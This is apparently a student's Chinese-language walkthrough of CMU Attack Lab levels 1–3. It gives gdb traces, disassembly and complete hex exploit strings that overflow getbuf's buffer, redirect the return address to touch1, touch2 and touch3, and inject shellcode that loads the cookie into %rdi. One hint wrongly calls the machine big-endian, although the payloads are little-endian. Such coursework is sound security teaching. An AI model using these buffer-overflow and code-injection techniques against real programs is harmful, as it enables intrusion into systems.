AttachLab level1 - level3
level_1
level_1不需要注入code,只需要输入string, 然后让程序不按照原定的跳去printf,跳去函数 touch1。
因为这个只经过 test 和 getbuf 两个函数,相对来说栈的结构很简答,caller 是 test, callee 是 getbuf。
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
这些函数对应的 disas 格式:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
End of assembler dump.
画出对应的 stack frame 就是这样,当我们call getbuf之后,rsp 增加0x28, 说明我们的 char size 是 40, 那么我们只要想办法把return address 给覆盖掉,换成 touch1 的位置0x00000000004017c0
+----------------+
| |
| |
| test |
| |
+----------------+
| 401976 | <---+ return address
+----------------+
| getbuf |
|0x28 = 40 Chars |
| |
+----------------+ <----+ rsp
所以前 40 个 char是啥都无所谓,最后覆盖的地方需要设定为 0x00000000004017c0 既可。
level 1 也有很多提示:
- 大端机器
- 然后本地机器跑要加 -q
- 猜想
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 c0 17 40 00 00 00 00 00
// 前40个char随意,就打40个‘8’,重点是后面的 c0 17 40 00 00 00 00 00 是 touch1 对应的开始位置
根据猜测变成 raw 来run
r -q < try_solve_raw
可以这样来解决,上述文件输入 ctarget.1.txt:
./hex2raw < ctarget.1.txt | ./ctarget -q
提示已经解决。
——————————————— 分割线———————————————
也可以尝试playground 玩一会:
(gdb) b *0x0000000000401968
Breakpoint 1 at 0x401968: file visible.c, line 90.
在一进入的地方设置一个breakpoint,然后 run -q, 记住此刻 info registers的信息:
(gdb) info registers
...
rsp 0x5561dcb0 0x5561dcb0
...
stepi 让程序运行一步:
info registers
...
rsp 0x5561dca8 0x5561dca8
...
区别就是 rsp 0x5561dca8 = 原本的 0x5561dcb0 - 0x8 完成了 sub 对应的命令。
stepi, stepi, 这个时候 gdb 告诉我们已经进入 getbuf () at buf.c:12
再看 此时的register
(gdb) info registers
...
rsp 0x5561dca0 0x5561dca0
...
rsp 0x5561dca0 = rsp 0x5561dca8 - 0x8
这个时候考察我们的 rsp的值
x/gx $rsp
0x5561dca0: 0x0000000000401976
是跳回 之前test callq <getbuf> 的下一句,也就是这一句需要我们来修改。
level_2
// ctarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ec 17 40 00 00 00 00 00
如果我们直接把level 1 的解答最后的地址换成touch 2的,我们就可以成功的call touch2,但是命令并不会成功,因为我们需要传入参数。
r -q -i ctarget.12-raw.txt
文档提示是这样的:
- 让 getbuf 结束之后跳转到 injected code的开始
- 设置 %rdi
- 让 injected code 结束之后利用 ret 跳转到 touch2, 不能使用 jmp 或者 call
injected code 主体部分只需要完成:
mov cookie, %rdi
ret
难点是如何让它的 ret 能够跳到 touch2 ,也就是如何把 touch2 的地址装入 ret 那一句之后的rip
+----------------+
| |
| |
| test |
| |
+----------------+
| injected add | <---+ rsp = 0x5561dca0
+----------------+
| touch2 add |
|injectd code |
| |
+----------------+ <----+ rsp = 0x5561dc78
可以在 getbuf 的最后一句地址处设置 breakpoint 然后来尝试指令:
b *0x0000000000401971 - 0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
b *0x00000000004017bd - 0x00000000004017bd <+21>: retq
然后用 stepi 来看info address,再来一步步验证
0000000000000000 <.text>:
0: 48 83 ec 08 sub $0x8,%rsp
4: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
b: 48 c7 04 24 ec 17 40 movq $0x4017ec,(%rsp)
12: 00
13: c3 retq
这样生成了 20 个byte,然后再填上杂七杂八凑成 ctarget.12.txt:
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 /* 这里开始就是0x5561dc88*/ 48 83 ec 08 48 c7 c7 fa 97 b9 59 48 c7 04 24 ec 17 40 00 c3 /* 添加一点nop */ 90 90 90 90 /*如同level1,放的跳转地址*/ 88 dc 61 55 00 00 00 00
运行:
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 48 83 EC 08 48 C7 C7 FA 97 B9 59 48 C7 04 24 EC 17 40 00 C3 90 90 90 90 88 DC 61 55 00 00 00 00
解决。尝试一下不要 sub $0x8,%rsp 这一句呢。。。。 也是ok
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 48 C7 C7 FA 97 B9 59 48 C7 04 24 EC 17 40 00 C3 90 90 90 90 90 90 90 90 88 DC 61 55 00 00 00 00
level-3
先学习level-2
// ctarget.13.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 fa 18 40 00 00 00 00 00
这样可以直接到level-3
(gdb) disas touch3
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
0x000000000040194f <+85>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401954 <+90>: mov $0x3,%edi
0x0000000000401959 <+95>: callq 0x401d4f <fail>
0x000000000040195e <+100>: mov $0x0,%edi
0x0000000000401963 <+105>: callq 0x400e40 <exit@plt>
End of assembler dump.
看 level-3 的提示,我们需要把 cookie 先变成 string:
0x 5 9 b 9 9 7 f a
35 39 62 39 39 37 66 61 00
先把string 放到0x5561dc78
35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 /* string */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 88 dc 61 55 00 00 00 00
getbuf 的最后一句设置breakpoint,来run:
r -q -i ctarget.13-raw.txt
结果:
x/s 0x5561dc78
0x5561dc78: "59b997fa"
string 已经成功放好,然后看文档提示步骤,只需要把 rdi 设置为 string的位置,然后跳转到 touch3,对应的 assemble 语句是:
0: 48 c7 c7 78 dc 61 55 mov $0x5561dc78,%rdi
7: 48 c7 04 24 fa 18 40 movq $0x4018fa,(%rsp)
e: 00
f: c3 retq
生成 ctarget.13.txt:
35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 /* string */ 48 c7 c7 78 dc 61 55 /* mov $0x5561dc78,%rdi */ 48 c7 04 24 fa 18 40 /* movq $0x4018fa,(%rsp) */ 00 c3 /* retq */ 90 90 90 90 90 90 90 90 88 dc 61 55 00 00 00 00 /* 跳去运行地址 */
转成二进制:
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 48 C7 C7 78 DC 61 55 48 C7 04 24 FA 18 40 00 C3 90 90 90 90 90 90 90 90 88 DC 61 55 00 00 00 00
level -3 完成。